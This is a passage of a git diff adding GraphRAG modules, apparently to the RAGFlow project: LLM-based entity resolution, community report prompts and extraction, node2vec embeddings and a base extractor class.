pairs due to timeout reason, skipped. {remain_candidates_to_resolve} are remained to resolve. ") + except Exception as e: + logging.error(f"Error resolving candidate batch: {e}") + + + async with trio.open_nursery() as nursery: + for candidate_resolution_i in candidate_resolution.items(): + if not candidate_resolution_i[1]: + continue + for i in range(0, len(candidate_resolution_i[1]), resolution_batch_size): + candidate_batch = candidate_resolution_i[0], candidate_resolution_i[1][i:i + resolution_batch_size] + nursery.start_soon(limited_resolve_candidate, candidate_batch, resolution_result, resolution_result_lock) + + callback(msg=f"Resolved {num_candidates} candidate pairs, {len(resolution_result)} of them are selected to merge.") + + change = GraphChange() + connect_graph = nx.Graph() + connect_graph.add_edges_from(resolution_result) + + async def limited_merge_nodes(graph, nodes, change): + async with semaphore: + await self._merge_graph_nodes(graph, nodes, change) + + async with trio.open_nursery() as nursery: + for sub_connect_graph in nx.connected_components(connect_graph): + merging_nodes = list(sub_connect_graph) + nursery.start_soon(limited_merge_nodes, graph, merging_nodes, change) + + # Update pagerank + pr = nx.pagerank(graph) + for node_name, pagerank in pr.items(): + graph.nodes[node_name]["pagerank"] = pagerank + + return EntityResolutionResult( + graph=graph, + change=change, + ) + + async def _resolve_candidate(self, candidate_resolution_i: tuple[str, list[tuple[str, str]]], resolution_result: set[str], resolution_result_lock: trio.Lock): + pair_txt = [ + f'When determining whether two {candidate_resolution_i[0]}s are the same, you should only focus on critical properties and overlook noisy factors.\n'] + for index, candidate in enumerate(candidate_resolution_i[1]): + pair_txt.append( + f'Question {index + 1}: name of{candidate_resolution_i[0]} A is {candidate[0]} ,name of{candidate_resolution_i[0]} B is {candidate[1]}') + sent = 'question above' if len(pair_txt) == 1 else f'above {len(pair_txt)} questions' + pair_txt.append( + f'\nUse domain knowledge of {candidate_resolution_i[0]}s to help understand the text and answer the {sent} in the format: For Question i, Yes, {candidate_resolution_i[0]} A and {candidate_resolution_i[0]} B are the same {candidate_resolution_i[0]}./No, {candidate_resolution_i[0]} A and {candidate_resolution_i[0]} B are different {candidate_resolution_i[0]}s. For Question i+1, (repeat the above procedures)') + pair_prompt = '\n'.join(pair_txt) + variables = { + **self.prompt_variables, + self._input_text_key: pair_prompt + } + text = perform_variable_replacements(self._resolution_prompt, variables=variables) + logging.info(f"Created resolution prompt {len(text)} bytes for {len(candidate_resolution_i[1])} entity pairs of type {candidate_resolution_i[0]}") + async with chat_limiter: + try: + enable_timeout_assertion = os.environ.get("ENABLE_TIMEOUT_ASSERTION") + with trio.move_on_after(280 if enable_timeout_assertion else 1000000000) as cancel_scope: + response = await trio.to_thread.run_sync(self._chat, text, [{"role": "user", "content": "Output:"}], {}) + if cancel_scope.cancelled_caught: + logging.warning("_resolve_candidate._chat timeout, skipping...") + return + except Exception as e: + logging.error(f"_resolve_candidate._chat failed: {e}") + return + + logging.debug(f"_resolve_candidate chat prompt: {text}\nchat response: {response}") + result = self._process_results(len(candidate_resolution_i[1]), response, + self.prompt_variables.get(self._record_delimiter_key, + DEFAULT_RECORD_DELIMITER), + self.prompt_variables.get(self._entity_index_dilimiter_key, + DEFAULT_ENTITY_INDEX_DELIMITER), + self.prompt_variables.get(self._resolution_result_delimiter_key, + DEFAULT_RESOLUTION_RESULT_DELIMITER)) + async with resolution_result_lock: + for result_i in result: + resolution_result.add(candidate_resolution_i[1][result_i[0] - 1]) + + def _process_results( + self, + records_length: int, + results: str, + record_delimiter: str, + entity_index_delimiter: str, + resolution_result_delimiter: str + ) -> list: + ans_list = [] + records = [r.strip() for r in results.split(record_delimiter)] + for record in records: + pattern_int = f"{re.escape(entity_index_delimiter)}(\d+){re.escape(entity_index_delimiter)}" + match_int = re.search(pattern_int, record) + res_int = int(str(match_int.group(1) if match_int else '0')) + if res_int > records_length: + continue + + pattern_bool = f"{re.escape(resolution_result_delimiter)}([a-zA-Z]+){re.escape(resolution_result_delimiter)}" + match_bool = re.search(pattern_bool, record) + res_bool = str(match_bool.group(1) if match_bool else '') + + if res_int and res_bool: + if res_bool.lower() == 'yes': + ans_list.append((res_int, "yes")) + + return ans_list + + def _has_digit_in_2gram_diff(self, a, b): + def to_2gram_set(s): + return {s[i:i+2] for i in range(len(s) - 1)} + + set_a = to_2gram_set(a) + set_b = to_2gram_set(b) + diff = set_a ^ set_b + + return any(any(c.isdigit() for c in pair) for pair in diff) + + def is_similarity(self, a, b): + if self._has_digit_in_2gram_diff(a, b): + return False + + if is_english(a) and is_english(b): + if editdistance.eval(a, b) <= min(len(a), len(b)) // 2: + return True + return False + + a, b = set(a), set(b) + max_l = max(len(a), len(b)) + if max_l < 4: + return len(a & b) > 1 + + return len(a & b)*1./max_l >= 0.8 + diff --git a/graphrag/entity_resolution_prompt.py b/graphrag/entity_resolution_prompt.py new file mode 100644 index 0000000..d7a360d --- /dev/null +++ b/graphrag/entity_resolution_prompt.py @@ -0,0 +1,74 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +ENTITY_RESOLUTION_PROMPT = """ +-Goal- +Please answer the following Question as required + +-Steps- +1. Identify each line of questioning as required + +2. Return output in English as a single list of each line answer in steps 1. Use **{record_delimiter}** as the list delimiter. + +###################### +-Examples- +###################### +Example 1: + +Question: +When determining whether two Products are the same, you should only focus on critical properties and overlook noisy factors. + +Demonstration 1: name of Product A is : "computer", name of Product B is :"phone" No, Product A and Product B are different products. +Question 1: name of Product A is : "television", name of Product B is :"TV" +Question 2: name of Product A is : "cup", name of Product B is :"mug" +Question 3: name of Product A is : "soccer", name of Product B is :"football" +Question 4: name of Product A is : "pen", name of Product B is :"eraser" + +Use domain knowledge of Products to help understand the text and answer the above 4 questions in the format: For Question i, Yes, Product A and Product B are the same product. or No, Product A and Product B are different products. For Question i+1, (repeat the above procedures) +################ +Output: +(For question {entity_index_delimiter}1{entity_index_delimiter}, {resolution_result_delimiter}no{resolution_result_delimiter}, Product A and Product B are different products.){record_delimiter} +(For question {entity_index_delimiter}2{entity_index_delimiter}, {resolution_result_delimiter}no{resolution_result_delimiter}, Product A and Product B are different products.){record_delimiter} +(For question {entity_index_delimiter}3{entity_index_delimiter}, {resolution_result_delimiter}yes{resolution_result_delimiter}, Product A and Product B are the same product.){record_delimiter} +(For question {entity_index_delimiter}4{entity_index_delimiter}, {resolution_result_delimiter}no{resolution_result_delimiter}, Product A and Product B are different products.){record_delimiter} +############################# + +Example 2: + +Question: +When determining whether two toponym are the same, you should only focus on critical properties and overlook noisy factors. + +Demonstration 1: name of toponym A is : "nanjing", name of toponym B is :"nanjing city" No, toponym A and toponym B are same toponym. +Question 1: name of toponym A is : "Chicago", name of toponym B is :"ChiTown" +Question 2: name of toponym A is : "Shanghai", name of toponym B is :"Zhengzhou" +Question 3: name of toponym A is : "Beijing", name of toponym B is :"Peking" +Question 4: name of toponym A is : "Los Angeles", name of toponym B is :"Cleveland" + +Use domain knowledge of toponym to help understand the text and answer the above 4 questions in the format: For Question i, Yes, toponym A and toponym B are the same toponym. or No, toponym A and toponym B are different toponym. For Question i+1, (repeat the above procedures) +################ +Output: +(For question {entity_index_delimiter}1{entity_index_delimiter}, {resolution_result_delimiter}yes{resolution_result_delimiter}, toponym A and toponym B are same toponym.){record_delimiter} +(For question {entity_index_delimiter}2{entity_index_delimiter}, {resolution_result_delimiter}no{resolution_result_delimiter}, toponym A and toponym B are different toponym.){record_delimiter} +(For question {entity_index_delimiter}3{entity_index_delimiter}, {resolution_result_delimiter}yes{resolution_result_delimiter}, toponym A and toponym B are the same toponym.){record_delimiter} +(For question {entity_index_delimiter}4{entity_index_delimiter}, {resolution_result_delimiter}no{resolution_result_delimiter}, toponym A and toponym B are different toponym.){record_delimiter} +############################# + +-Real Data- +###################### +Question:{input_text} +###################### +Output: +""" diff --git a/graphrag/general/__init__.py b/graphrag/general/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/graphrag/general/community_report_prompt.py b/graphrag/general/community_report_prompt.py new file mode 100644 index 0000000..8b9fa2f --- /dev/null +++ b/graphrag/general/community_report_prompt.py @@ -0,0 +1,158 @@ +# Copyright (c) 2024 Microsoft Corporation. +# Licensed under the MIT License +""" +Reference: + - [GraphRAG](https://github.com/microsoft/graphrag/blob/main/graphrag/prompts/index/community_report.py) +""" + +COMMUNITY_REPORT_PROMPT = """ +You are an AI assistant that helps a human analyst to perform general information discovery. Information discovery is the process of identifying and assessing relevant information associated with certain entities (e.g., organizations and individuals) within a network. + +# Goal +Write a comprehensive report of a community, given a list of entities that belong to the community as well as their relationships and optional associated claims. The report will be used to inform decision-makers about information associated with the community and their potential impact. The content of this report includes an overview of the community's key entities, their legal compliance, technical capabilities, reputation, and noteworthy claims. + +# Report Structure + +The report should include the following sections: + +- TITLE: community's name that represents its key entities - title should be short but specific. When possible, include representative named entities in the title. +- SUMMARY: An executive summary of the community's overall structure, how its entities are related to each other, and significant information associated with its entities. +- IMPACT SEVERITY RATING: a float score between 0-10 that represents the severity of IMPACT posed by entities within the community. IMPACT is the scored importance of a community. +- RATING EXPLANATION: Give a single sentence explanation of the IMPACT severity rating. +- DETAILED FINDINGS: A list of 5-10 key insights about the community. Each insight should have a short summary followed by multiple paragraphs of explanatory text grounded according to the grounding rules below. Be comprehensive. + +Return output as a well-formed JSON-formatted string with the following format(in language of 'Text' content): + {{ + "title": , + "summary": , + "rating": , + "rating_explanation": , + "findings": [ + {{ + "summary":, + "explanation": + }}, + {{ + "summary":, + "explanation": + }} + ] + }} + +# Grounding Rules + +Points supported by data should list their data references as follows: + +"This is an example sentence supported by multiple data references [Data: (record ids); (record ids)]." + +Do not list more than 5 record ids in a single reference. Instead, list the top 5 most relevant record ids and add "+more" to indicate that there are more. + +For example: +"Person X is the owner of Company Y and subject to many allegations of wrongdoing [Data: Reports (1), Entities (5, 7); Relationships (23); Claims (7, 2, 34, 64, 46, +more)]." + +where 1, 5, 7, 23, 2, 34, 46, and 64 represent the id (not the index) of the relevant data record. + +Do not include information where the supporting evidence for it is not provided. + + +# Example Input +----------- +Text: + +-Entities- + +id,entity,description +5,VERDANT OASIS PLAZA,Verdant Oasis Plaza is the location of the Unity March +6,HARMONY ASSEMBLY,Harmony Assembly is an organization that is holding a march at Verdant Oasis Plaza + +-Relationships- + +id,source,target,description +37,VERDANT OASIS PLAZA,UNITY MARCH,Verdant Oasis Plaza is the location of the Unity March +38,VERDANT OASIS PLAZA,HARMONY ASSEMBLY,Harmony Assembly is holding a march at Verdant Oasis Plaza +39,VERDANT OASIS PLAZA,UNITY MARCH,The Unity March is taking place at Verdant Oasis Plaza +40,VERDANT OASIS PLAZA,TRIBUNE SPOTLIGHT,Tribune Spotlight is reporting on the Unity march taking place at Verdant Oasis Plaza +41,VERDANT OASIS PLAZA,BAILEY ASADI,Bailey Asadi is speaking at Verdant Oasis Plaza about the march +43,HARMONY ASSEMBLY,UNITY MARCH,Harmony Assembly is organizing the Unity March + +Output: +{{ + "title": "Verdant Oasis Plaza and Unity March", + "summary": "The community revolves around the Verdant Oasis Plaza, which is the location of the Unity March. The plaza has relationships with the Harmony Assembly, Unity March, and Tribune Spotlight, all of which are associated with the march event.", + "rating": 5.0, + "rating_explanation": "The impact severity rating is moderate due to the potential for unrest or conflict during the Unity March.", + "findings": [ + {{ + "summary": "Verdant Oasis Plaza as the central location", + "explanation": "Verdant Oasis Plaza is the central entity in this community, serving as the location for the Unity March. This plaza is the common link between all other entities, suggesting its significance in the community. The plaza's association with the march could potentially lead to issues such as public disorder or conflict, depending on the nature of the march and the reactions it provokes. [Data: Entities (5), Relationships (37, 38, 39, 40, 41,+more)]" + }}, + {{ + "summary": "Harmony Assembly's role in the community", + "explanation": "Harmony Assembly is another key entity in this community, being the organizer of the march at Verdant Oasis Plaza. The nature of Harmony Assembly and its march could be a potential source of threat, depending on their objectives and the reactions they provoke. The relationship between Harmony Assembly and the plaza is crucial in understanding the dynamics of this community. [Data: Entities(6), Relationships (38, 43)]" + }}, + {{ + "summary": "Unity March as a significant event", + "explanation": "The Unity March is a significant event taking place at Verdant Oasis Plaza. This event is a key factor in the community's dynamics and could be a potential source of threat, depending on the nature of the march and the reactions it provokes. The relationship between the march and the plaza is crucial in understanding the dynamics of this community. [Data: Relationships (39)]" + }}, + {{ + "summary": "Role of Tribune Spotlight", + "explanation": "Tribune Spotlight is reporting on the Unity March taking place in Verdant Oasis Plaza. This suggests that the event has attracted media attention, which could amplify its impact on the community. The role of Tribune Spotlight could be significant in shaping public perception of the event and the entities involved. [Data: Relationships (40)]" + }} + ] +}} + + +# Real Data + +Use the following text for your answer. Do not make anything up in your answer. + +Text: + +-Entities- +{entity_df} + +-Relationships- +{relation_df} + +The report should include the following sections: + +- TITLE: community's name that represents its key entities - title should be short but specific. When possible, include representative named entities in the title. +- SUMMARY: An executive summary of the community's overall structure, how its entities are related to each other, and significant information associated with its entities. +- IMPACT SEVERITY RATING: a float score between 0-10 that represents the severity of IMPACT posed by entities within the community. IMPACT is the scored importance of a community. +- RATING EXPLANATION: Give a single sentence explanation of the IMPACT severity rating. +- DETAILED FINDINGS: A list of 5-10 key insights about the community. Each insight should have a short summary followed by multiple paragraphs of explanatory text grounded according to the grounding rules below. Be comprehensive. + +Return output as a well-formed JSON-formatted string with the following format(in language of 'Text' content): + {{ + "title": , + "summary": , + "rating": , + "rating_explanation": , + "findings": [ + {{ + "summary":, + "explanation": + }}, + {{ + "summary":, + "explanation": + }} + ] + }} + +# Grounding Rules + +Points supported by data should list their data references as follows: + +"This is an example sentence supported by multiple data references [Data: (record ids); (record ids)]." + +Do not list more than 5 record ids in a single reference. Instead, list the top 5 most relevant record ids and add "+more" to indicate that there are more. + +For example: +"Person X is the owner of Company Y and subject to many allegations of wrongdoing [Data: Reports (1), Entities (5, 7); Relationships (23); Claims (7, 2, 34, 64, 46, +more)]." + +where 1, 5, 7, 23, 2, 34, 46, and 64 represent the id (not the index) of the relevant data record. + +Do not include information where the supporting evidence for it is not provided. + +Output:""" \ No newline at end of file diff --git a/graphrag/general/community_reports_extractor.py b/graphrag/general/community_reports_extractor.py new file mode 100644 index 0000000..6f9fd65 --- /dev/null +++ b/graphrag/general/community_reports_extractor.py @@ -0,0 +1,166 @@ +# Copyright (c) 2024 Microsoft Corporation. +# Licensed under the MIT License +""" +Reference: + - [graphrag](https://github.com/microsoft/graphrag) +""" + +import logging +import json +import os +import re +from typing import Callable +from dataclasses import dataclass +import networkx as nx +import pandas as pd + +from api.utils.api_utils import timeout +from graphrag.general import leiden +from graphrag.general.community_report_prompt import COMMUNITY_REPORT_PROMPT +from graphrag.general.extractor import Extractor +from graphrag.general.leiden import add_community_info2graph +from rag.llm.chat_model import Base as CompletionLLM +from graphrag.utils import perform_variable_replacements, dict_has_keys_with_types, chat_limiter +from rag.utils import num_tokens_from_string +import trio + + +@dataclass +class CommunityReportsResult: + """Community reports result class definition.""" + + output: list[str] + structured_output: list[dict] + + +class CommunityReportsExtractor(Extractor): + """Community reports extractor class definition.""" + + _extraction_prompt: str + _output_formatter_prompt: str + _max_report_length: int + + def __init__( + self, + llm_invoker: CompletionLLM, + max_report_length: int | None = None, + ): + super().__init__(llm_invoker) + """Init method definition.""" + self._llm = llm_invoker + self._extraction_prompt = COMMUNITY_REPORT_PROMPT + self._max_report_length = max_report_length or 1500 + + async def __call__(self, graph: nx.Graph, callback: Callable | None = None): + enable_timeout_assertion = os.environ.get("ENABLE_TIMEOUT_ASSERTION") + for node_degree in graph.degree: + graph.nodes[str(node_degree[0])]["rank"] = int(node_degree[1]) + + communities: dict[str, dict[str, list]] = leiden.run(graph, {}) + total = sum([len(comm.items()) for _, comm in communities.items()]) + res_str = [] + res_dict = [] + over, token_count = 0, 0 + @timeout(120) + async def extract_community_report(community): + nonlocal res_str, res_dict, over, token_count + cm_id, cm = community + weight = cm["weight"] + ents = cm["nodes"] + if len(ents) < 2: + return + ent_list = [{"entity": ent, "description": graph.nodes[ent]["description"]} for ent in ents] + ent_df = pd.DataFrame(ent_list) + + rela_list = [] + k = 0 + for i in range(0, len(ents)): + if k >= 10000: + break + for j in range(i + 1, len(ents)): + if k >= 10000: + break + edge = graph.get_edge_data(ents[i], ents[j]) + if edge is None: + continue + rela_list.append({"source": ents[i], "target": ents[j], "description": edge["description"]}) + k += 1 + rela_df = pd.DataFrame(rela_list) + + prompt_variables = { + "entity_df": ent_df.to_csv(index_label="id"), + "relation_df": rela_df.to_csv(index_label="id") + } + text = perform_variable_replacements(self._extraction_prompt, variables=prompt_variables) + async with chat_limiter: + try: + with trio.move_on_after(180 if enable_timeout_assertion else 1000000000) as cancel_scope: + response = await trio.to_thread.run_sync( self._chat, text, [{"role": "user", "content": "Output:"}], {}) + if cancel_scope.cancelled_caught: + logging.warning("extract_community_report._chat timeout, skipping...") + return + except Exception as e: + logging.error(f"extract_community_report._chat failed: {e}") + return + token_count += num_tokens_from_string(text + response) + response = re.sub(r"^[^\{]*", "", response) + response = re.sub(r"[^\}]*$", "", response) + response = re.sub(r"\{\{", "{", response) + response = re.sub(r"\}\}", "}", response) + logging.debug(response) + try: + response = json.loads(response) + except json.JSONDecodeError as e: + logging.error(f"Failed to parse JSON response: {e}") + logging.error(f"Response content: {response}") + return + if not dict_has_keys_with_types(response, [ + ("title", str), + ("summary", str), + ("findings", list), + ("rating", float), + ("rating_explanation", str), + ]): + return + response["weight"] = weight + response["entities"] = ents + add_community_info2graph(graph, ents, response["title"]) + res_str.append(self._get_text_output(response)) + res_dict.append(response) + over += 1 + if callback: + callback(msg=f"Communities: {over}/{total}, used tokens: {token_count}") + + st = trio.current_time() + async with trio.open_nursery() as nursery: + for level, comm in communities.items(): + logging.info(f"Level {level}: Community: {len(comm.keys())}") + for community in comm.items(): + nursery.start_soon(extract_community_report, community) + if callback: + callback(msg=f"Community reports done in {trio.current_time() - st:.2f}s, used tokens: {token_count}") + + return CommunityReportsResult( + structured_output=res_dict, + output=res_str, + ) + + def _get_text_output(self, parsed_output: dict) -> str: + title = parsed_output.get("title", "Report") + summary = parsed_output.get("summary", "") + findings = parsed_output.get("findings", []) + + def finding_summary(finding: dict): + if isinstance(finding, str): + return finding + return finding.get("summary") + + def finding_explanation(finding: dict): + if isinstance(finding, str): + return "" + return finding.get("explanation") + + report_sections = "\n\n".join( + f"## {finding_summary(f)}\n\n{finding_explanation(f)}" for f in findings + ) + return f"# {title}\n\n{summary}\n\n{report_sections}" diff --git a/graphrag/general/entity_embedding.py b/graphrag/general/entity_embedding.py new file mode 100644 index 0000000..78c7fc3 --- /dev/null +++ b/graphrag/general/entity_embedding.py @@ -0,0 +1,66 @@ +# Copyright (c) 2024 Microsoft Corporation. +# Licensed under the MIT License +""" +Reference: + - [graphrag](https://github.com/microsoft/graphrag) +""" + +from typing import Any +import numpy as np +import networkx as nx +from dataclasses import dataclass +from graphrag.general.leiden import stable_largest_connected_component +import graspologic as gc + + +@dataclass +class NodeEmbeddings: + """Node embeddings class definition.""" + + nodes: list[str] + embeddings: np.ndarray + + +def embed_node2vec( + graph: nx.Graph | nx.DiGraph, + dimensions: int = 1536, + num_walks: int = 10, + walk_length: int = 40, + window_size: int = 2, + iterations: int = 3, + random_seed: int = 86, +) -> NodeEmbeddings: + """Generate node embeddings using Node2Vec.""" + # generate embedding + lcc_tensors = gc.embed.node2vec_embed( # type: ignore + graph=graph, + dimensions=dimensions, + window_size=window_size, + iterations=iterations, + num_walks=num_walks, + walk_length=walk_length, + random_seed=random_seed, + ) + return NodeEmbeddings(embeddings=lcc_tensors[0], nodes=lcc_tensors[1]) + + +def run(graph: nx.Graph, args: dict[str, Any]) -> dict: + """Run method definition.""" + if args.get("use_lcc", True): + graph = stable_largest_connected_component(graph) + + # create graph embedding using node2vec + embeddings = embed_node2vec( + graph=graph, + dimensions=args.get("dimensions", 1536), + num_walks=args.get("num_walks", 10), + walk_length=args.get("walk_length", 40), + window_size=args.get("window_size", 2), + iterations=args.get("iterations", 3), + random_seed=args.get("random_seed", 86), + ) + + pairs = zip(embeddings.nodes, embeddings.embeddings.tolist(), strict=True) + sorted_pairs = sorted(pairs, key=lambda x: x[0]) + + return dict(sorted_pairs) \ No newline at end of file diff --git a/graphrag/general/extractor.py b/graphrag/general/extractor.py new file mode 100644 index 0000000..df8af1c --- /dev/null +++ b/graphrag/general/extractor.py @@ -0,0 +1,243 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import os +import re +from collections import Counter, defaultdict +from copy import deepcopy +from typing import Callable + +import networkx as nx +import trio + +from api.utils.api_utils import timeout +from graphrag.general.graph_prompt import SUMMARIZE_DESCRIPTIONS_PROMPT +from graphrag.utils import ( + GraphChange, + chat_limiter, + flat_uniq_list, + get_from_to, + get_llm_cache, + handle_single_entity_extraction, + handle_single_relationship_extraction, + set_llm_cache, + split_string_by_multi_markers, +) +from rag.llm.chat_model import Base as CompletionLLM +from rag.prompts.generator import message_fit_in +from rag.utils import truncate + +GRAPH_FIELD_SEP = "" +DEFAULT_ENTITY_TYPES = ["organization", "person", "geo", "event", "category"] +ENTITY_EXTRACTION_MAX_GLEANINGS = 2 +MAX_CONCURRENT_PROCESS_AND_EXTRACT_CHUNK = int(os.environ.get("MAX_CONCURRENT_PROCESS_AND_EXTRACT_CHUNK", 10)) + + +class Extractor: + _llm: CompletionLLM + + def __init__( + self, + llm_invoker: CompletionLLM, + language: str | None = "English", + entity_types: list[str] | None = None, + ): + self._llm = llm_invoker + self._language = language + self._entity_types = entity_types or DEFAULT_ENTITY_TYPES + + @timeout(60 * 20) + def _chat(self, system, history, gen_conf={}): + hist = deepcopy(history) + conf = deepcopy(gen_conf) + response = get_llm_cache(self._llm.llm_name, system, hist, conf) + if response: + return response + _, system_msg = message_fit_in([{"role": "system", "content": system}], int(self._llm.max_length * 0.92)) + response = "" + for attempt in range(3): + try: + response = self._llm.chat(system_msg[0]["content"], hist, conf) + response = re.sub(r"^.*", "", response, flags=re.DOTALL) + if response.find("**ERROR**") >= 0: + raise Exception(response) + set_llm_cache(self._llm.llm_name, system, response, history, gen_conf) + except Exception as e: + logging.exception(e) + if attempt == 2: + raise + + return response + + def _entities_and_relations(self, chunk_key: str, records: list, tuple_delimiter: str): + maybe_nodes = defaultdict(list) + maybe_edges = defaultdict(list) + ent_types = [t.lower() for t in self._entity_types] + for record in records: + record_attributes = split_string_by_multi_markers(record, [tuple_delimiter]) + + if_entities = handle_single_entity_extraction(record_attributes, chunk_key) + if if_entities is not None and if_entities.get("entity_type", "unknown").lower() in ent_types: + maybe_nodes[if_entities["entity_name"]].append(if_entities) + continue + + if_relation = handle_single_relationship_extraction(record_attributes, chunk_key) + if if_relation is not None: + maybe_edges[(if_relation["src_id"], if_relation["tgt_id"])].append(if_relation) + return dict(maybe_nodes), dict(maybe_edges) + + async def __call__(self, doc_id: str, chunks: list[str], callback: Callable | None = None): + self.callback = callback + start_ts = trio.current_time() + + async def extract_all(doc_id, chunks, max_concurrency=MAX_CONCURRENT_PROCESS_AND_EXTRACT_CHUNK): + out_results = [] + limiter = trio.Semaphore(max_concurrency) + + async def worker(chunk_key_dp: tuple[str, str], idx: int, total: int): + async with limiter: + await self._process_single_content(chunk_key_dp, idx, total, out_results) + + async with trio.open_nursery() as nursery: + for i, ck in enumerate(chunks): + nursery.start_soon(worker, (doc_id, ck), i, len(chunks)) + + return out_results + + out_results = await extract_all(doc_id, chunks, max_concurrency=MAX_CONCURRENT_PROCESS_AND_EXTRACT_CHUNK) + + maybe_nodes = defaultdict(list) + maybe_edges = defaultdict(list) + sum_token_count = 0 + for m_nodes, m_edges, token_count in out_results: + for k, v in m_nodes.items(): + maybe_nodes[k].extend(v) + for k, v in m_edges.items(): + maybe_edges[tuple(sorted(k))].extend(v) + sum_token_count += token_count + now = trio.current_time() + if callback: + callback(msg=f"Entities and relationships extraction done, {len(maybe_nodes)} nodes, {len(maybe_edges)} edges, {sum_token_count} tokens, {now - start_ts:.2f}s.") + start_ts = now + logging.info("Entities merging...") + all_entities_data = [] + async with trio.open_nursery() as nursery: + for en_nm, ents in maybe_nodes.items(): + nursery.start_soon(self._merge_nodes, en_nm, ents, all_entities_data) + now = trio.current_time() + if callback: + callback(msg=f"Entities merging done, {now - start_ts:.2f}s.") + + start_ts = now + logging.info("Relationships merging...") + all_relationships_data = [] + async with trio.open_nursery() as nursery: + for (src, tgt), rels in maybe_edges.items(): + nursery.start_soon(self._merge_edges, src, tgt, rels, all_relationships_data) + now = trio.current_time() + if callback: + callback(msg=f"Relationships merging done, {now - start_ts:.2f}s.") + + if not len(all_entities_data) and not len(all_relationships_data): + logging.warning("Didn't extract any entities and relationships, maybe your LLM is not working") + + if not len(all_entities_data): + logging.warning("Didn't extract any entities") + if not len(all_relationships_data): + logging.warning("Didn't extract any relationships") + + return all_entities_data, all_relationships_data + + async def _merge_nodes(self, entity_name: str, entities: list[dict], all_relationships_data): + if not entities: + return + entity_type = sorted( + Counter([dp["entity_type"] for dp in entities]).items(), + key=lambda x: x[1], + reverse=True, + )[0][0] + description = GRAPH_FIELD_SEP.join(sorted(set([dp["description"] for dp in entities]))) + already_source_ids = flat_uniq_list(entities, "source_id") + description = await self._handle_entity_relation_summary(entity_name, description) + node_data = dict( + entity_type=entity_type, + description=description, + source_id=already_source_ids, + ) + node_data["entity_name"] = entity_name + all_relationships_data.append(node_data) + + async def _merge_edges(self, src_id: str, tgt_id: str, edges_data: list[dict], all_relationships_data=None): + if not edges_data: + return + weight = sum([edge["weight"] for edge in edges_data]) + description = GRAPH_FIELD_SEP.join(sorted(set([edge["description"] for edge in edges_data]))) + description = await self._handle_entity_relation_summary(f"{src_id} -> {tgt_id}", description) + keywords = flat_uniq_list(edges_data, "keywords") + source_id = flat_uniq_list(edges_data, "source_id") + edge_data = dict(src_id=src_id, tgt_id=tgt_id, description=description, keywords=keywords, weight=weight, source_id=source_id) + all_relationships_data.append(edge_data) + + async def _merge_graph_nodes(self, graph: nx.Graph, nodes: list[str], change: GraphChange): + if len(nodes) <= 1: + return + change.added_updated_nodes.add(nodes[0]) + change.removed_nodes.update(nodes[1:]) + nodes_set = set(nodes) + node0_attrs = graph.nodes[nodes[0]] + node0_neighbors = set(graph.neighbors(nodes[0])) + for node1 in nodes[1:]: + # Merge two nodes, keep "entity_name", "entity_type", "page_rank" unchanged. + node1_attrs = graph.nodes[node1] + node0_attrs["description"] += f"{GRAPH_FIELD_SEP}{node1_attrs['description']}" + node0_attrs["source_id"] = sorted(set(node0_attrs["source_id"] + node1_attrs["source_id"])) + for neighbor in graph.neighbors(node1): + change.removed_edges.add(get_from_to(node1, neighbor)) + if neighbor not in nodes_set: + edge1_attrs = graph.get_edge_data(node1, neighbor) + if neighbor in node0_neighbors: + # Merge two edges + change.added_updated_edges.add(get_from_to(nodes[0], neighbor)) + edge0_attrs = graph.get_edge_data(nodes[0], neighbor) + edge0_attrs["weight"] += edge1_attrs["weight"] + edge0_attrs["description"] += f"{GRAPH_FIELD_SEP}{edge1_attrs['description']}" + for attr in ["keywords", "source_id"]: + edge0_attrs[attr] = sorted(set(edge0_attrs[attr] + edge1_attrs[attr])) + edge0_attrs["description"] = await self._handle_entity_relation_summary(f"({nodes[0]}, {neighbor})", edge0_attrs["description"]) + graph.add_edge(nodes[0], neighbor, **edge0_attrs) + else: + graph.add_edge(nodes[0], neighbor, **edge1_attrs) + graph.remove_node(node1) + node0_attrs["description"] = await self._handle_entity_relation_summary(nodes[0], node0_attrs["description"]) + graph.nodes[nodes[0]].update(node0_attrs) + + async def _handle_entity_relation_summary(self, entity_or_relation_name: str, description: str) -> str: + summary_max_tokens = 512 + use_description = truncate(description, summary_max_tokens) + description_list = (use_description.split(GRAPH_FIELD_SEP),) + if len(description_list) <= 12: + return use_description + prompt_template = SUMMARIZE_DESCRIPTIONS_PROMPT + context_base = dict( + entity_name=entity_or_relation_name, + description_list=description_list, + language=self._language, + ) + use_prompt = prompt_template.format(**context_base) + logging.info(f"Trigger summary: {entity_or_relation_name}") + async with chat_limiter: + summary = await trio.to_thread.run_sync(self._chat, "", [{"role": "user", "content": use_prompt}]) + return summary diff --git a/graphrag/general/graph_extractor.py b/graphrag/general/graph_extractor.py new file mode 100644 index 0000000..346a5b9 --- /dev/null +++ b/graphrag/general/graph_extractor.py @@ -0,0 +1,150 @@ +# Copyright (c) 2024 Microsoft Corporation. +# Licensed under the MIT License +""" +Reference: + - [graphrag](https://github.com/microsoft/graphrag) +""" + +import re +from typing import Any +from dataclasses import dataclass +import tiktoken +import trio + +from graphrag.general.extractor import Extractor, ENTITY_EXTRACTION_MAX_GLEANINGS +from graphrag.general.graph_prompt import GRAPH_EXTRACTION_PROMPT, CONTINUE_PROMPT, LOOP_PROMPT +from graphrag.utils import ErrorHandlerFn, perform_variable_replacements, chat_limiter, split_string_by_multi_markers +from rag.llm.chat_model import Base as CompletionLLM +import networkx as nx +from rag.utils import num_tokens_from_string + +DEFAULT_TUPLE_DELIMITER = "<|>" +DEFAULT_RECORD_DELIMITER = "##" +DEFAULT_COMPLETION_DELIMITER = 